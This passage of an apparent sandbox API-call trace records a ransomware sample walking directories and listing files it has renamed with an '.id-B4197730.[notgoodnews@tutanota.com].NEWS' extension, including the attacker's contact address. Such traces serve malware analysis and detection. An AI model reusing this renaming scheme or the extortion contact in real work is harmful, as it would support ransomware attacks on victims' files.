dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.825] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x398eae39, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x398eae39, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39910f4c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.825] FindClose (in: hFindFile=0x751350 | out: hFindFile=0x751350) returned 1 [0191.825] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.826] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0191.826] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.826] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751350 [0191.827] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.827] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39cf15ab, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39cf15ab, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d16ffd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.827] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d66f93, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d66f93, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d66f93, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.827] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39910f4c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39910f4c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39daf888, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.827] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39910f4c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39910f4c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39daf888, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.827] FindClose (in: hFindFile=0x751350 | out: hFindFile=0x751350) returned 1 [0191.828] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.828] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0191.828] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.828] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x751550 [0191.829] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.830] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399ac4e4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399ac4e4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399cfb3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.830] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399cfb3e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399cfb3e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x399cfb3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.830] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.830] FindNextFileW (in: hFindFile=0x751550, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a1c210, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a1c210, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a1c210, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.830] FindClose (in: hFindFile=0x751550 | out: hFindFile=0x751550) returned 1 [0191.831] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.831] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0191.831] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.831] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750f90 [0191.832] FindNextFileW (in: hFindFile=0x750f90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.832] FindNextFileW (in: hFindFile=0x750f90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x399f8ee4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x399f8ee4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ade448, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0191.833] FindNextFileW (in: hFindFile=0x750f90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a8ea01, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a8ea01, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a8ea01, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0191.833] FindNextFileW (in: hFindFile=0x750f90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a42956, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0191.833] FindNextFileW (in: hFindFile=0x750f90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39a42956, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0191.833] FindClose (in: hFindFile=0x750f90 | out: hFindFile=0x750f90) returned 1 [0191.834] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.834] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0191.834] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.834] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750fd0 [0191.897] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.897] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ab4c82, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ab4c82, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ab4c82, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0191.897] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b00fdb, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b00fdb, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b00fdb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0191.897] FindNextFileW (in: hFindFile=0x750fd0, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b00fdb, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b00fdb, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b00fdb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 0 [0191.897] FindClose (in: hFindFile=0x750fd0 | out: hFindFile=0x750fd0) returned 1 [0191.897] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.897] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b271f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b271f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39b271f3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DHTMLH~1.NEW")) returned 1 [0191.898] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39a42956, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39a42956, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39e48251, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="DISPLA~1.NEW")) returned 1 [0191.898] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0191.898] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.898] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750d90 [0191.899] FindNextFileW (in: hFindFile=0x750d90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.899] FindNextFileW (in: hFindFile=0x750d90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39b271f3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39b271f3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f53441, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0191.899] FindNextFileW (in: hFindFile=0x750d90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d16ffd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d16ffd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0191.900] FindNextFileW (in: hFindFile=0x750d90, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d16ffd, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d16ffd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 0 [0191.900] FindClose (in: hFindFile=0x750d90 | out: hFindFile=0x750d90) returned 1 [0191.901] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.901] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0191.901] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.901] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750f50 [0191.902] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.902] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c3218a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c3218a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c3218a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PRINTI~1.NEW")) returned 1 [0191.902] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c584d2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39c584d2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39c584d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="ROTATE~1.NEW")) returned 1 [0191.902] FindNextFileW (in: hFindFile=0x750f50, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39c584d2, ftCreationTime.dwHighDateTime=0x1d5e206, 